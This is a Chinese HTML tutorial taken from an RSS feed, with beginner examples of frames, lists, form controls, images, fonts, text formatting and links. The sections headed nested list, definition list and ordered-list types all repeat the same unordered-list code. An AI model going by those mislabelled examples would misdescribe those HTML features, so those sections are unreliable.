&lt;td&gt;行&lt;/td&gt;
&lt;/tr&gt;
&lt;/table&gt;

&lt;/body&gt;
&lt;/html&gt;


HTML框架(Frame)示例
列分的框架(Frame, cols)
&lt;html&gt;

&lt;frameset cols=&quot;25%,50%,25%&quot;&gt;

&lt;frame src=&quot;../asdocs/html_tutorials/Frame_a.html&quot;&gt;
&lt;frame src=&quot;../asdocs/html_tutorials/Frame_b.html&quot;&gt;
&lt;frame src=&quot;../asdocs/html_tutorials/Frame_c.html&quot;&gt;

&lt;/frameset&gt;

&lt;/html&gt;行分的框架(Frame, rows)
&lt;html&gt;

&lt;frameset rows=&quot;25%,50%,25%&quot;&gt;

&lt;frame src=&quot;../asdocs/html_tutorials/Frame_a.html&quot;&gt;
&lt;frame src=&quot;../asdocs/html_tutorials/Frame_b.html&quot;&gt;
&lt;frame src=&quot;../asdocs/html_tutorials/Frame_c.html&quot;&gt;

&lt;/frameset&gt;

&lt;/html&gt;既有行分又有列分的框架(Frame, rows, cols)
&lt;html&gt;

&lt;frameset rows=&quot;50%,50%&quot;&gt;

&lt;frame src=&quot;../asdocs/html_tutorials/Frame_a.html&quot;&gt;

&lt;frameset cols=&quot;25%,75%&quot;&gt;
&lt;frame src=&quot;../asdocs/html_tutorials/Frame_b.html&quot;&gt;
&lt;frame src=&quot;../asdocs/html_tutorials/Frame_c.html&quot;&gt;
&lt;/frameset&gt;

&lt;/frameset&gt;

&lt;/html&gt;用框架(Frame)导航
&lt;html&gt;
&lt;frameset cols=&quot;120,*&quot;&gt;

&lt;frame src=&quot;../asdocs/html_tutorials/framelist.html&quot;&gt;
&lt;frame src=&quot;../asdocs/html_tutorials/Frame_a.html&quot; name=&quot;showframe&quot;&gt;

&lt;/frameset&gt;
&lt;/html&gt;
使用内嵌框架(IFrame)
&lt;html&gt;
&lt;body&gt;
&lt;p&gt;用 IFRAME 可以在HTML文件里显示另一个网页。&lt;/p&gt;

&lt;p&gt;这个 HTML 文档中使用 IFRAME 来显示另外一个叫Frame_a.html 的网页。&lt;/p&gt;

&lt;iframe src=&quot;../asdocs/html_tutorials/Frame_a.html&quot;&gt;&lt;/iframe&gt;

&lt;/body&gt;
&lt;/html&gt;
如何固定框架(Frame)大小
&lt;html&gt;

&lt;frameset rows=&quot;50%,50%&quot;&gt;

&lt;frame noresize=&quot;noresize&quot; src=&quot;../asdocs/html_tutorials/Frame_a.html&quot;&gt;

&lt;frameset cols=&quot;25%,75%&quot;&gt;
&lt;frame noresize=&quot;noresize&quot; src=&quot;../asdocs/html_tutorials/Frame_b.html&quot;&gt;
&lt;frame noresize=&quot;noresize&quot; src=&quot;../asdocs/html_tutorials/Frame_c.html&quot;&gt;
&lt;/frameset&gt;

&lt;/frameset&gt;

&lt;/html&gt;


HTML列表(List)示例
不排序列表(Unordered List)
&lt;html&gt;
&lt;body&gt;

&lt;h4&gt;不排序列表(Unordered List)：&lt;/h4&gt;
&lt;ul&gt;
&lt;li&gt;站长网 站长学院之网页课程&lt;/li&gt;
&lt;li&gt;站长网 站长学院之网页代码&lt;/li&gt;
&lt;li&gt;站长网 站长学院之魔兽世界&lt;/li&gt;
&lt;/ul&gt;

&lt;/body&gt;
&lt;/html&gt;排序列表(ordered list)
&lt;html&gt;
&lt;body&gt;

&lt;h4&gt;一个排序列表(Ordered List)：&lt;/h4&gt;
&lt;ol&gt;
&lt;li&gt;站长网 站长学院之网页课程&lt;/li&gt;
&lt;li&gt;站长网 站长学院之网页代码&lt;/li&gt;
&lt;li&gt;站长网 站长学院之魔兽世界&lt;/li&gt;
&lt;/ol&gt;

&lt;/body&gt;
&lt;/html&gt;不排序列表的类型(Type)设置
&lt;html&gt;
&lt;body&gt;

&lt;h4&gt;Type设为disc的列表，列表项前面的符号是圆黑点：&lt;/h4&gt;
&lt;ul type=&quot;disc&quot;&gt;
&lt;li&gt;站长网 站长学院之网页课程&lt;/li&gt;
&lt;li&gt;站长网 站长学院之网页代码&lt;/li&gt;
&lt;li&gt;站长网 站长学院之魔兽世界&lt;/li&gt;
&lt;/ul&gt;

&lt;h4&gt;Type设为circle的列表，列表项前面的符号是空心圆：&lt;/h4&gt;
&lt;ul type=&quot;circle&quot;&gt;
&lt;li&gt;站长网 站长学院之网页课程&lt;/li&gt;
&lt;li&gt;站长网 站长学院之网页代码&lt;/li&gt;
&lt;li&gt;站长网 站长学院之魔兽世界&lt;/li&gt;
&lt;/ul&gt;

&lt;h4&gt;Type设为square的列表，列表项前面的符号是黑方块：&lt;/h4&gt;
&lt;ul type=&quot;square&quot;&gt;
&lt;li&gt;站长网 站长学院之网页课程&lt;/li&gt;
&lt;li&gt;站长网 站长学院之网页代码&lt;/li&gt;
&lt;li&gt;站长网 站长学院之魔兽世界&lt;/li&gt;
&lt;/ul&gt;

&lt;/body&gt;
&lt;/html&gt;

嵌套的列表(nested list)
&lt;html&gt;
&lt;body&gt;

&lt;h4&gt;Type设为disc的列表，列表项前面的符号是圆黑点：&lt;/h4&gt;
&lt;ul type=&quot;disc&quot;&gt;
&lt;li&gt;站长网 站长学院之网页课程&lt;/li&gt;
&lt;li&gt;站长网 站长学院之网页代码&lt;/li&gt;
&lt;li&gt;站长网 站长学院之魔兽世界&lt;/li&gt;
&lt;/ul&gt;

&lt;h4&gt;Type设为circle的列表，列表项前面的符号是空心圆：&lt;/h4&gt;
&lt;ul type=&quot;circle&quot;&gt;
&lt;li&gt;站长网 站长学院之网页课程&lt;/li&gt;
&lt;li&gt;站长网 站长学院之网页代码&lt;/li&gt;
&lt;li&gt;站长网 站长学院之魔兽世界&lt;/li&gt;
&lt;/ul&gt;

&lt;h4&gt;Type设为square的列表，列表项前面的符号是黑方块：&lt;/h4&gt;
&lt;ul type=&quot;square&quot;&gt;
&lt;li&gt;站长网 站长学院之网页课程&lt;/li&gt;
&lt;li&gt;站长网 站长学院之网页代码&lt;/li&gt;
&lt;li&gt;站长网 站长学院之魔兽世界&lt;/li&gt;
&lt;/ul&gt;

&lt;/body&gt;
&lt;/html&gt;
定义列表(definition list)
&lt;html&gt;
&lt;body&gt;

&lt;h4&gt;Type设为disc的列表，列表项前面的符号是圆黑点：&lt;/h4&gt;
&lt;ul type=&quot;disc&quot;&gt;
&lt;li&gt;站长网 站长学院之网页课程&lt;/li&gt;
&lt;li&gt;站长网 站长学院之网页代码&lt;/li&gt;
&lt;li&gt;站长网 站长学院之魔兽世界&lt;/li&gt;
&lt;/ul&gt;

&lt;h4&gt;Type设为circle的列表，列表项前面的符号是空心圆：&lt;/h4&gt;
&lt;ul type=&quot;circle&quot;&gt;
&lt;li&gt;站长网 站长学院之网页课程&lt;/li&gt;
&lt;li&gt;站长网 站长学院之网页代码&lt;/li&gt;
&lt;li&gt;站长网 站长学院之魔兽世界&lt;/li&gt;
&lt;/ul&gt;

&lt;h4&gt;Type设为square的列表，列表项前面的符号是黑方块：&lt;/h4&gt;
&lt;ul type=&quot;square&quot;&gt;
&lt;li&gt;站长网 站长学院之网页课程&lt;/li&gt;
&lt;li&gt;站长网 站长学院之网页代码&lt;/li&gt;
&lt;li&gt;站长网 站长学院之魔兽世界&lt;/li&gt;
&lt;/ul&gt;

&lt;/body&gt;
&lt;/html&gt;
HTML不同类型(Type)的排序列表
&lt;html&gt;
&lt;body&gt;

&lt;h4&gt;Type设为disc的列表，列表项前面的符号是圆黑点：&lt;/h4&gt;
&lt;ul type=&quot;disc&quot;&gt;
&lt;li&gt;站长网 站长学院之网页课程&lt;/li&gt;
&lt;li&gt;站长网 站长学院之网页代码&lt;/li&gt;
&lt;li&gt;站长网 站长学院之魔兽世界&lt;/li&gt;
&lt;/ul&gt;

&lt;h4&gt;Type设为circle的列表，列表项前面的符号是空心圆：&lt;/h4&gt;
&lt;ul type=&quot;circle&quot;&gt;
&lt;li&gt;站长网 站长学院之网页课程&lt;/li&gt;
&lt;li&gt;站长网 站长学院之网页代码&lt;/li&gt;
&lt;li&gt;站长网 站长学院之魔兽世界&lt;/li&gt;
&lt;/ul&gt;

&lt;h4&gt;Type设为square的列表，列表项前面的符号是黑方块：&lt;/h4&gt;
&lt;ul type=&quot;square&quot;&gt;
&lt;li&gt;站长网 站长学院之网页课程&lt;/li&gt;
&lt;li&gt;站长网 站长学院之网页代码&lt;/li&gt;
&lt;li&gt;站长网 站长学院之魔兽世界&lt;/li&gt;
&lt;/ul&gt;

&lt;/body&gt;
&lt;/html&gt;

HTML表单(Form)示例
HTML表单控件-单行文本输入框
&lt;html&gt;
&lt;head&gt;&lt;title&gt;输入用户姓名&lt;/title&gt;&lt;/head&gt;
&lt;body&gt;

&lt;form  action=&quot;http://www.admin5.com/html/asdocs/html_tutorials/yourname.asp&quot; method=&quot;get&quot;&gt;
请输入你的姓名：
&lt;input type=&quot;text&quot; name=&quot;yourname&quot;&gt;
&lt;input type=&quot;submit&quot; value=&quot;提交&quot;&gt;
&lt;/form&gt;

&lt;/body&gt;
&lt;/html&gt;HTML表单控件-密码输入框
&lt;html&gt;
&lt;head&gt;&lt;title&gt;输入用户姓名和密码 &lt;/title&gt;&lt;/head&gt;
&lt;body&gt;

&lt;form  action=&quot;http://www.admin5.com/html/asdocs/html_tutorials/userpw.asp&quot; method=&quot;post&quot;&gt;
请输入你的姓名：
&lt;input type=&quot;text&quot; name=&quot;yourname&quot;&gt;&lt;br&gt;
请输入你的密码：
&lt;input type=&quot;password&quot; name=&quot;yourpw&quot;&gt;&lt;br&gt;

&lt;input type=&quot;submit&quot; value=&quot;提交&quot;&gt;
&lt;/form&gt;

&lt;/body&gt;
&lt;/html&gt;
HTML表单控件-复选框(checkbox)
&lt;html&gt;
&lt;head&gt;&lt;title&gt;选择&lt;/title&gt;&lt;/head&gt;
&lt;body&gt;
请选择你喜欢的水果：&lt;br&gt;
&lt;form action = &quot;http://www.admin5.com/html/asdocs/html_tutorials/choose.asp&quot; method = &quot;post&quot;&gt;
&lt;input type=&quot;checkbox&quot; name=&quot;fruit&quot; value =&quot;apple&quot; &gt;苹果&lt;br&gt;
&lt;input type=&quot;checkbox&quot; name=&quot;fruit&quot; value =&quot;orange&quot;&gt;桔子&lt;br&gt;
&lt;input type=&quot;checkbox&quot; name=&quot;fruit&quot; value =&quot;mango&quot;&gt;芒果&lt;br&gt;
&lt;input type=&quot;submit&quot; value=&quot;提交&quot;&gt;
&lt;/form&gt;
&lt;/body&gt;
&lt;/html&gt;
HTML表单控件-复选框(checkbox)缺省已选(checked)
&lt;html&gt;
&lt;head&gt;&lt;title&gt;选择&lt;/title&gt;&lt;/head&gt;
&lt;body&gt;
请选择你喜欢的水果：&lt;br&gt;
&lt;form action = &quot;http://www.admin5.com/html/asdocs/html_tutorials/choose.asp&quot; method = &quot;post&quot;&gt;
&lt;input type=&quot;checkbox&quot; name=&quot;fruit&quot; value =&quot;apple&quot; &gt;苹果&lt;br&gt;
&lt;input type=&quot;checkbox&quot; name=&quot;fruit&quot; value =&quot;orange&quot; checked&gt;桔子&lt;br&gt;
&lt;input type=&quot;checkbox&quot; name=&quot;fruit&quot; value =&quot;mango&quot;&gt;芒果&lt;br&gt;
&lt;input type=&quot;submit&quot; value=&quot;提交&quot;&gt;
&lt;/form&gt;
&lt;/body&gt;
&lt;/html&gt;
HTML表单控件-单选框(radio)
&lt;html&gt;
&lt;head&gt;&lt;title&gt;选择&lt;/title&gt;&lt;/head&gt;
&lt;body&gt;
请选择你最喜欢的水果：&lt;br&gt;
&lt;form action = &quot;http://www.admin5.com/html/asdocs/html_tutorials/choose.asp&quot; method = &quot;post&quot;&gt;
&lt;input type=&quot;radio&quot; name=&quot;fruit&quot; value = &quot;Apple&quot;&gt;苹果&lt;br&gt;
&lt;input type=&quot;radio&quot; name=&quot;fruit&quot; value = &quot;Orange&quot;&gt;桔子&lt;br&gt;
&lt;input type=&quot;radio&quot; name=&quot;fruit&quot; value = &quot;Mango&quot;&gt;芒果&lt;br&gt;

&lt;input type=&quot;submit&quot; value=&quot;提交&quot;&gt;
&lt;/form&gt;
&lt;/body&gt;
&lt;/html&gt;
HTML表单控件-单选框(radio)缺省已选(checked)
&lt;html&gt;
&lt;head&gt;&lt;title&gt;选择&lt;/title&gt;&lt;/head&gt;
&lt;body&gt;
请选择你最喜欢的水果：&lt;br&gt;
&lt;form action = &quot;http://www.admin5.com/html/asdocs/html_tutorials/choose.asp&quot; method = &quot;post&quot;&gt;
&lt;input type=&quot;radio&quot; name=&quot;fruit&quot; value = &quot;Apple&quot;&gt;苹果&lt;br&gt;
&lt;input type=&quot;radio&quot; name=&quot;fruit&quot; value = &quot;Orange&quot; checked&gt;桔子&lt;br&gt;
&lt;input type=&quot;radio&quot; name=&quot;fruit&quot; value = &quot;Mango&quot;&gt;芒果&lt;br&gt;

&lt;input type=&quot;submit&quot; value=&quot;提交&quot;&gt;
&lt;/form&gt;
&lt;/body&gt;
&lt;/html&gt;
HTML表单控件(Form Control)-下拉框(select)单选
&lt;html&gt;
&lt;body&gt;
&lt;form action = &quot;http://www.admin5.com/html/asdocs/html_tutorials/choose.asp&quot; method = &quot;post&quot;&gt;
你最喜欢的水果是：
&lt;select name=&quot;fruit&quot; &gt;
&lt;option value=&quot;apple&quot;&gt;苹果
&lt;option value=&quot;orange&quot;&gt;桔子
&lt;option value=&quot;mango&quot;&gt;芒果
&lt;/select&gt;
&lt;input type=&quot;submit&quot; value=&quot;提交&quot;&gt;
&lt;/form&gt;
&lt;/body&gt;
&lt;/html&gt;
HTML表单控件-下拉框(select)多选(multiple)
&lt;html&gt;
&lt;head&gt;&lt;title&gt;选择&lt;/title&gt;&lt;/head&gt;
&lt;body&gt;
&lt;form action = &quot;http://www.admin5.com/html/asdocs/html_tutorials/choose.asp&quot; method = &quot;post&quot;&gt;
你最喜欢的水果是：&lt;br&gt;
&lt;select name=&quot;fruit&quot; multiple&gt;
&lt;option value=&quot;apple&quot;&gt;苹果
&lt;option value=&quot;orange&quot;&gt;桔子
&lt;option value=&quot;mango&quot;&gt;芒果
&lt;/select&gt;
&lt;br&gt;
&lt;input type=&quot;submit&quot; value=&quot;提交&quot;&gt;
&lt;/form&gt;
&lt;/body&gt;
&lt;/html&gt;
HTML表单控件-下拉框多选-下拉框设置(size)
&lt;html&gt;
&lt;head&gt;&lt;title&gt;选择&lt;/title&gt;&lt;/head&gt;
&lt;body&gt;

&lt;form action = &quot;http://www.admin5.com/html/asdocs/html_tutorials/choose.asp&quot; method = &quot;post&quot;&gt;
你最喜欢的水果是：&lt;br&gt;
&lt;select name=&quot;fruit&quot; size = &quot;1&quot; multiple&gt;
&lt;option value=&quot;apple&quot;&gt;苹果
&lt;option value=&quot;orange&quot;&gt;桔子
&lt;option value=&quot;mango&quot;&gt;芒果
&lt;/select&gt;
&lt;input type=&quot;submit&quot; value=&quot;提交&quot;&gt;
&lt;/form&gt;
&lt;/body&gt;
&lt;/html&gt;
HTML表单控件-多行输入框(textarea)
&lt;html&gt;
&lt;head&gt;&lt;title&gt;请提宝贵意见&lt;/title&gt;&lt;/head&gt;
&lt;body&gt;

&lt;form  action=&quot;http://www.admin5.com/html/asdocs/html_tutorials/suggest.asp&quot; method=&quot;get&quot;&gt;
请提宝贵意见：&lt;br&gt;
&lt;textarea name=&quot;yoursuggest&quot; cols =&quot;50&quot; rows = &quot;3&quot;&gt;&lt;/textarea&gt;
&lt;br&gt;
&lt;input type=&quot;submit&quot; value=&quot;提交&quot;&gt;
&lt;/form&gt;

&lt;/body&gt;
&lt;/html&gt;
HTML表单控件-图片提交(input type=image)
&lt;html&gt;
&lt;head&gt;&lt;title&gt;输入用户姓名&lt;/title&gt;&lt;/head&gt;
&lt;body&gt;

&lt;form  action=&quot;http://www.admin5.com/html/asdocs/html_tutorials/yourname.asp&quot; method=&quot;get&quot;&gt;
请输入你的姓名：
&lt;input type=&quot;text&quot; name=&quot;yourname&quot;&gt;&lt;br&gt;
&lt;input type=&quot;image&quot; src =&quot;images/icons/go.gif&quot;
alt = &quot;提交&quot; NAME=&quot;imagesubmit&quot;&gt;
&lt;/form&gt;

&lt;/body&gt;
&lt;/html&gt;
HTML图片(Image)示例
在HTML里插入图片
&lt;html&gt;
&lt;body&gt;
&lt;p&gt;
站长网 站长学院Logo图片：&lt;img src=&quot;../images/html_tutorials/blabla_logo.gif&quot;&gt;
&lt;/p&gt;

&lt;/body&gt;
&lt;/html&gt;
HTML里图片的对齐方式(Align)
&lt;html&gt;
&lt;body&gt;
&lt;p&gt;图片的上下对齐方式：&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;../images/logo/blabla_logo.gif&quot; align=&quot;top&quot;&gt;对齐方式:top&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;../images/logo/blabla_logo.gif&quot; align=&quot;middle&quot;&gt;对齐方式:middle&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;../images/logo/blabla_logo.gif&quot; align=&quot;bottom&quot;&gt;对齐方式:bottom&lt;/p&gt;

&lt;p&gt;图片的左右对齐方式：&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;../images/logo/blabla_logo.gif&quot; align=&quot;Left&quot;&gt;对齐方式:left&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;../images/logo/blabla_logo.gif&quot; align=&quot;center&quot;&gt;对齐方式:center&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;../images/logo/blabla_logo.gif&quot; align=&quot;right&quot;&gt;对齐方式:right&lt;/p&gt;

&lt;/body&gt;
&lt;/html&gt;HTML的图片大小(Height,Width)
&lt;html&gt;
&lt;body&gt;

&lt;p&gt;你可以使用Height和Width属性来改变图片的大小。&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;../images/html_tutorials/smile.jpg&quot;&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;../images/html_tutorials/smile.jpg&quot; width=&quot;30&quot; height=&quot;30&quot;&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;../images/html_tutorials/smile.jpg&quot; width=&quot;100&quot; height=&quot;80&quot;&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;../images/html_tutorials/smile.jpg&quot; width=&quot;300&quot; height=&quot;300&quot;&gt;&lt;/p&gt;

&lt;/body&gt;
&lt;/html&gt;HTML图片的说明(Alt属性)
&lt;html&gt;
&lt;body&gt;

&lt;p&gt;将鼠标停留在图片上，你可以看到Alt属性里写的内容。&lt;/p&gt;
&lt;img src=&quot;../images/logo/blabla_logo.gif&quot; alt=&quot;站长网 站长学院的Logo标志&quot; &gt;&lt;br&gt;

&lt;img src=&quot;../images/html_tutorials/frjj01.jpg&quot; alt=&quot;芙蓉姐姐照片：红配绿一台戏&quot; &gt;


&lt;/body&gt;
&lt;/html&gt;
HTML字体(font)示例
HTML字体大小(font size)
&lt;html&gt;
&lt;head&gt;&lt;title&gt;字体大小 font size&lt;/title&gt;&lt;/head&gt;

&lt;body&gt;
&lt;p&gt;&lt;font size=&quot;1&quot;&gt;这段文字的字体大小值为1。&lt;/font&gt;&lt;/p&gt;
&lt;p&gt;&lt;font size=&quot;2&quot;&gt;这段文字的字体大小值为2。&lt;/font&gt;&lt;/p&gt;
&lt;p&gt;&lt;font size=&quot;3&quot;&gt;这段文字的字体大小值为3。&lt;/font&gt;&lt;/p&gt;
&lt;p&gt;&lt;font size=&quot;4&quot;&gt;这段文字的字体大小值为4。&lt;/font&gt;&lt;/p&gt;
&lt;p&gt;&lt;font size=&quot;5&quot;&gt;这段文字的字体大小值为5。&lt;/font&gt;&lt;/p&gt;
&lt;p&gt;&lt;font size=&quot;6&quot;&gt;这段文字的字体大小值为6。&lt;/font&gt;&lt;/p&gt;
&lt;p&gt;&lt;font size=&quot;7&quot;&gt;这段文字的字体大小值为7。&lt;/font&gt;&lt;/p&gt;

&lt;/body&gt;
&lt;/html&gt;
HTML字体颜色(font color)
&lt;html&gt;
&lt;head&gt;&lt;title&gt;字体颜色 font color&lt;/title&gt;&lt;/head&gt;

&lt;body&gt;
&lt;p&gt;这段文字用的是缺省的字体颜色。&lt;/p&gt;
&lt;p&gt;&lt;font color=&quot;#FF0000&quot;&gt;这段文字的字体颜色为红色。&lt;/font&gt;&lt;/p&gt;
&lt;p&gt;&lt;font color=&quot;gray&quot;&gt;这段文字的字体颜色为灰色。&lt;/font&gt;&lt;/p&gt;
&lt;p&gt;&lt;font color=&quot;#33CC00&quot;&gt;这段文字的字体颜色为绿色。&lt;/font&gt;&lt;/p&gt;

&lt;/body&gt;
&lt;/html&gt;HTML字体风格(font face)
&lt;html&gt;
&lt;head&gt;&lt;title&gt;字体风格 font face&lt;/title&gt;&lt;/head&gt;

&lt;body&gt;

&lt;p&gt;以下第一段用的是arial字体，第二段用的是courier字体，第三段用的是verdana字体。&lt;/p&gt;

&lt;p&gt;&lt;font face=&quot;arial&quot;&gt;arial courier verdana&lt;/font&gt;&lt;/p&gt;
&lt;p&gt;&lt;font face = &quot;courier&quot;&gt;arial courier verdana&lt;/font&gt;&lt;/p&gt;
&lt;p&gt;&lt;font face=&quot;verdana&quot;&gt;arial courier verdana&lt;/font&gt;&lt;/p&gt;

&lt;/body&gt;
&lt;/html&gt;
HTML网页背景颜色和背景图片示例
HTML背景颜色
&lt;html&gt;
&lt;body bgcolor=&quot;yellow&quot;&gt;
&lt;h2&gt;看，这个页面是黄色的。&lt;/h2&gt;
&lt;/body&gt;
&lt;/html&gt;
HTML里加背景图片
&lt;html&gt;
&lt;body background=&quot;../images/html_tutorials/background.jpg&quot;&gt;

&lt;h3&gt;这个网页有背景图片哦！&lt;/h3&gt;

&lt;p&gt;如果图片比页面小，图片会自动重复。&lt;/p&gt;

&lt;/body&gt;
&lt;/html&gt;

HTML头部信息(Head)示例
利用Meta的Refresh自动跳转到指定页面

[EndContent]
]]></description>
    </item>
        <item>
        <title><![CDATA[【邪影教程】html代码实例（上）【邪影】]]></title>
		<link><![CDATA[https://xieying.wodemo.com/entry/373458]]></link>
		<dc:creator><![CDATA[邪影网安组-组长 (@xuelanggx)]]></dc:creator>
		<pubDate><![CDATA[Thu, 29 Oct 2015 08:40:23 +0800]]></pubDate>
        <description><![CDATA[[Title]Html代码实例(上)[EndTitle]
[Content]
HTML代码示例
HTML文本格式示例
一个非常简单的HTML文件
&lt;html&gt;
&lt;body&gt;
这是一个非常简单的HTML。
&lt;/body&gt;
&lt;/html&gt;HTML简单段落
&lt;html&gt;
&lt;body&gt;

&lt;p&gt;这是第一段。&lt;/p&gt;
&lt;p&gt;这是第二段。&lt;/p&gt;
&lt;p&gt;这是第三段。&lt;/p&gt;

&lt;p&gt;在HTML里，用p来定义段落。&lt;/p&gt;

&lt;/body&gt;
&lt;/html&gt;在HTML写多个段落
&lt;html&gt;
&lt;body&gt;

&lt;p&gt;
这一段
在源代码里
包含很多分行，
但是浏览器忽略
这些分行。
&lt;/p&gt;

&lt;p&gt;
这一段       在浏览器里
包含    很多   空格，

但是    浏览器忽略多余空格。
&lt;/p&gt;

&lt;p&gt;
你使用的浏览器的窗口大小决定了段落的行数。如果你改编浏览器窗口的大小，段落的行数会因此改变。
&lt;/p&gt;

&lt;/body&gt;
&lt;/html&gt;在HTML里如何换行
&lt;html&gt;
&lt;body&gt;

&lt;p&gt;
要&lt;br&gt;在一段&lt;br&gt;里&lt;br&gt;换行&lt;br&gt;请使用&lt;br&gt;br这个Tag。
&lt;/p&gt;

&lt;/body&gt;
&lt;/html&gt;HTML正文标题
&lt;html&gt;
&lt;body&gt;

&lt;h1&gt;这是1号标题&lt;/h1&gt;
&lt;h2&gt;这是2号标题&lt;/h2&gt;
&lt;h3&gt;这是3号标题&lt;/h3&gt;
&lt;h4&gt;这是4号标题&lt;/h4&gt;
&lt;h5&gt;这是5号标题&lt;/h5&gt;
&lt;h6&gt;这是6号标题&lt;/h6&gt;


&lt;/body&gt;
&lt;/html&gt;HTML居中显示的标题
&lt;html&gt;
&lt;body&gt;

&lt;h1 align=&quot;center&quot;&gt;这是标题&lt;/h1&gt;

&lt;p&gt;上面的标题是居中显示的。&lt;/p&gt;

&lt;/body&gt;
&lt;/html&gt;
在HTML文件里加一条横线(horizontal rule)
&lt;html&gt;
&lt;body&gt;
&lt;p&gt;用hr这个Tag可以在HTML文件里加一条横线。&lt;/p&gt;
&lt;hr&gt;
&lt;p&gt;村妇想像皇宫的生活：皇后得用金扁担挑水吧。&lt;/p&gt;
&lt;hr&gt;
&lt;p&gt;问：谁是世界上最可怜的人？答：炮兵连炊事班战士！问：为什么？答：戴绿帽背黑锅看别人打炮。&lt;/p&gt;
&lt;hr&gt;
&lt;p&gt;初中某数学老师讲方程式变换，在讲台上袖子一挽大声喝道：同学们注意！我要变形了！……&lt;/p&gt;
&lt;/body&gt;
&lt;/html&gt;HTML文件的代码注释
&lt;html&gt;
&lt;body&gt;

&lt;!--这是代码注释--&gt;
&lt;p&gt;代码注释是不会显示在网页里的。&lt;/p&gt;

&lt;/body&gt;
&lt;/html&gt;
HTML常用格式Tag
&lt;html&gt;
&lt;body&gt;

&lt;p&gt;&lt;b&gt;粗体用b表示。&lt;/b&gt;&lt;/p&gt;
&lt;p&gt;&lt;i&gt;斜体用i表示。&lt;/i&gt;&lt;/p&gt;
&lt;p&gt;&lt;del&gt;芙蓉姐姐&lt;/del&gt;这个词当中划线表示删除。&lt;/p&gt;
&lt;p&gt;&lt;ins&gt;想唱就唱&lt;/ins&gt;这个词下划线插入。&lt;/p&gt;
&lt;p&gt;X&lt;sub&gt;2&lt;/sub&gt;其中的2是下标&lt;/p&gt;
&lt;p&gt;X&lt;sup&gt;2&lt;/sup&gt;其中的2是上标&lt;/p&gt;
&lt;p&gt;&lt;blockquote&gt;好好学习，天天向上。这句话缩进表示引用&lt;/blockquote&gt;&lt;/p&gt;
&lt;pre&gt;
这是
预设(preformatted)文本.
在pre这个tag里的文本      保留
空格和
分行。
&lt;/pre&gt;
&lt;code&gt;call getOrders&lt;/code&gt;
&lt;p&gt;用code显示计算机代码，code里显示的字符是等宽字符。&lt;/p&gt;

&lt;/body&gt;
&lt;/html&gt;
HTML预格式文本(preformatted text)
&lt;html&gt;
&lt;body&gt;

&lt;pre&gt;
这是预格式(preformatted)
文本
浏览器会保留pre里面的           空格

和分行。
&lt;/pre&gt;

&lt;p&gt;pre用来表示计算机代码，效果很好。看如下代码显示：&lt;/p&gt;

&lt;pre&gt;
for i = 1 to 10
print i
next i
&lt;/pre&gt;

&lt;/body&gt;
&lt;/html&gt;
HTML不同计算机输出的Tag
&lt;html&gt;
&lt;body&gt;

&lt;code&gt;计算机代码 Computer code&lt;/code&gt;
&lt;br&gt;
&lt;kbd&gt;键盘键入 Keyboard input&lt;/kbd&gt;
&lt;br&gt;
&lt;tt&gt;电报文本 Teletype text&lt;/tt&gt;
&lt;br&gt;
&lt;samp&gt;示例文本 Sample text&lt;/samp&gt;
&lt;br&gt;
&lt;var&gt;计算机变量 Computer variable&lt;/var&gt;
&lt;br&gt;

&lt;p&gt;
&lt;b&gt;注:&lt;/b&gt;以上这些Tag都可以用来显示计算机程序代码。
&lt;/p&gt;

&lt;/body&gt;
&lt;/html&gt;HTML里加入地址
&lt;html&gt;
&lt;body&gt;

&lt;address&gt;
上海站长网 站长学院路1000号&lt;br&gt;
站长网 站长学院大楼101室&lt;br&gt;
邮编:200000&lt;br&gt;
&lt;/address&gt;

&lt;/body&gt;
&lt;/html&gt;
HTML里表示删除插入的Tag
&lt;html&gt;
&lt;body&gt;

&lt;p&gt;
我要
&lt;del&gt;删除&lt;/del&gt;
&lt;ins&gt;插入&lt;/ins&gt;
文字。
&lt;/p&gt;

&lt;p&gt;
还可以使用strike表示删除，效果和del一样。但是HTML国际标准推荐使用del，不再建议使用strike。
&lt;/p&gt;


&lt;/body&gt;
&lt;/html&gt;

HTML超链接示例
如何创建HTML超链接(hyperlinks)
&lt;html&gt;
&lt;body&gt;

&lt;p&gt;
&lt;a href=&quot;../asdocs/html_tutorials/humor02.html&quot;&gt;这是一个链接&lt;/a&gt;
&lt;/p&gt;

&lt;p&gt;
&lt;a href=&quot;http://www.admin5.com/html&quot; target=_blank&gt;站长网 站长学院站点链接&lt;/a&gt;
&lt;/p&gt;

&lt;/body&gt;
&lt;/html&gt;将图片作为一个超链接
&lt;html&gt;
&lt;body&gt;
&lt;p&gt;
你可以将一张图片作为一个链接，点击这个图片。
&lt;a href=&quot;../asdocs/html_tutorials/humor03.html&quot;&gt;&lt;img  src=&quot;../images/html_tutorials/smile.jpg&quot; &gt;&lt;/a&gt;
&lt;/p&gt;

&lt;/body&gt;
&lt;/html&gt;
在HTML文件里跳转
&lt;html&gt;
&lt;body&gt;

&lt;p&gt;
&lt;a href=&quot;#C6&quot;&gt;
参见第六章
&lt;/a&gt;
&lt;/p&gt;

&lt;p&gt;
&lt;a name=&quot;C1&quot;&gt;&lt;h2&gt;第1章&lt;/h2&gt;&lt;/a&gt;
&lt;p&gt;这是站长网 站长学院admin5.com/html- 网页教程与代码的中文站点。&lt;/p&gt;

&lt;a name=&quot;C2&quot;&gt;&lt;h2&gt;第2章&lt;/h2&gt;&lt;/a&gt;
&lt;p&gt;这是站长网 站长学院admin5.com/html- 网页教程与代码的中文站点。&lt;/p&gt;

&lt;a name=&quot;C3&quot;&gt;&lt;h2&gt;第3章&lt;/h2&gt;&lt;/a&gt;
&lt;p&gt;这是站长网 站长学院admin5.com/html- 网页教程与代码的中文站点。&lt;/p&gt;

&lt;a name=&quot;C4&quot;&gt;&lt;h2&gt;第4章&lt;/h2&gt;&lt;/a&gt;
&lt;p&gt;这是站长网 站长学院admin5.com/html- 网页教程与代码的中文站点。&lt;/p&gt;

&lt;a name=&quot;C5&quot;&gt;&lt;h2&gt;第5章&lt;/h2&gt;&lt;/a&gt;
